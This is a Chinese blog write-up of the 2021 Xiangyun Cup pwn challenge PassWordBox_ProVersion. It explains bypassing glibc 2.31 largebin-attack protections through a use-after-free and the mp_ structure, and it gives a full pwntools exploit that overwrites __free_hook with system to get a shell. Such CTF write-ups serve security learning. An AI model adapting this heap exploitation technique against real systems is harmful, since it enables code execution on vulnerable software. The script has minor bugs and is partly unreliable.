2021 祥云杯 pwn PassWordBox_ProVersion

本文探讨了glibc 2.31版本对largebin attack的新增保护措施,着重于2.31版本下如何绕过限制进行内存操纵,包括利用mp_结构体的漏洞,以及针对新保护机制的攻击手段和利用方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述
保护显然是全开。libc给的是2.31

在这里插入图片描述
看看比free的多了点啥

在这里插入图片描述具体去看看。

在这里插入图片描述
这是菜单。

add
在这里插入图片描述fgets那里的问题显然已经没了,size改的比较大,看起来只能申请到large bin那样的大小。

edit
在这里插入图片描述编辑确实是无限编辑。
也不会再有溢出那种东西了。

show
在这里插入图片描述
也有输出了。

free
在这里插入图片描述free也是正常清理。没有清理指针,只是清理了标志位。

多了一个叫recover的函数
在这里插入图片描述
可以让标志位再恢复。

那么我们就可以double free啊等等,
但是呢显然我们能申请到的chunk都很大,所以这道题说白了就是2.31下的large bin attack。

先说说2.31下large bin attack多了些什么保护。

在这里插入图片描述
在glibc 2.30里,我们看到,第二个分支里确实封堵了以前的利用手法,但是在第一个分支里,仍然可以实现large bin attack,但是该分支利用起来,只是完成往任意地址写一个堆地址的作用。

那么我们其实还是可以有很多中利用手法。

首先是最基本的large bin attack。
我们首先说large bin attack有两种攻击方式,利用的分别是chunk插入的时候,跟申请的时候。

在申请largebin的过程中,伪造largebin的bk_nextsize,实现非预期内存申请。
在largebin插入的过程中,伪造largebin的bk_nextsize以及bk,实现任意地址写堆地址。

我们一般见到的都是在插入的过程中,始先任意地址写堆地址。

我们上面看到,从2.30开始,把我们平常用到的插入时后加了个保护,但是显然加入的保护只是把我们的第二个分支摁掉了,我们显然还有第一个分支,只不过我们只能在任意一个地方写一个堆地址,那么我们可以去攻击mp_结构体。

在这里插入图片描述这个结构体在libc里面。

那我们利用下面这段代码攻击

if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
	fwd = bck;
	bck = bck->bk;

	victim->fd_nextsize = fwd->fd;
	victim->bk_nextsize = fwd->fd->bk_nextsize;
	fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}

在这里我们的bck就是已经在large bin中的那个chunk。
我们可以改large bin chunk的bk_nestsize指向的chunk的fd_nextsize为victim。

然后我就通过计算,把那个tcache_bins改成一个chunk的值。

我就可以再计算,把chunk里合适的位置,bins的地方改成free_hook,然后申请出来,写成system,就好啦。

exp

#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *

context.log_level = "debug"

r = process("./pwdPro")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64/libc.so.6")

def add(index,id, size, content = 'a\n'): 
    r.sendlineafter("Input Your Choice:\n", "1")
    r.sendlineafter("Which PwdBox You Want Add:\n", str(index))
    r.sendlineafter("Input The ID You Want Save:", id)
    r.sendlineafter("Length Of Your Pwd:", str(size))
    r.sendafter("Your Pwd:", content)

def dele(index):
    r.sendlineafter("Input Your Choice:\n", "4")
    r.sendlineafter("Idx you want 2 Delete:", str(index))

def edit(idx,content):
    r.sendlineafter("Input Your Choice:\n", "2")
    r.sendline(str(index))
    r.send(content)

def show(index):
    r.sendlineafter("Input Your Choice:\n", "3")
    r.sendlineafter("Idx you want 2 Delete:", str(index))


def re(index):
    r.sendlineafter("Choice:\n", "5")
    r.sendlineafter("Recover:", str(index))


add(0, "a", 0x450)
r.recvuntil("ID:")
r.recv(8)
key = u64(r.recv(8))

add(1, "a", 0x420)
dele(0)
re(0)
show(0)
r.recvuntil("Pwd is: ")

malloc_hook = ((u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) ^ key) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
print "libc_base = " + hex(libc_base)

gdb.attach(r)

add(0, "a", 0x450)
add(2, "a", 0x440)
add(3, "a", 0x420)
dele(0)
add(4, "a", 0x600)
dele(2)
re(0)
show(0)
r.recvuntil("Pwd is: ")
r.recv(0x10)
heap_addr = u64(rv(8))^key
print(hex(heap_addr))

edit(0, p64(libc_base + 0x1ec010)*2+p64(heap_addr)+p64(libc_base+0x1eb2d8-0x20-4)+'\n')

add(10, "a", 0x600)  
add(11, "a", 0x800, p64(u64("/bin/sh\x00")^key)+"\n")

dele(10)
edit(0, "a"*0xe8+p64(libc.sym['__free_hook']))
add(12, "a", 0x600, p64(libc.sym['system']^key)+'\n')
dele(11)

r.interactive()

uaf写large bin chunk的时候我们只要好好改bk_nextsize就行。
剩下的主要是保持原样不变,否则会被其他地方卡住。

当然还有没有其他利用手法,其实还很多。
可以有
house of husk
house of banana
house of pig
百度即可。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值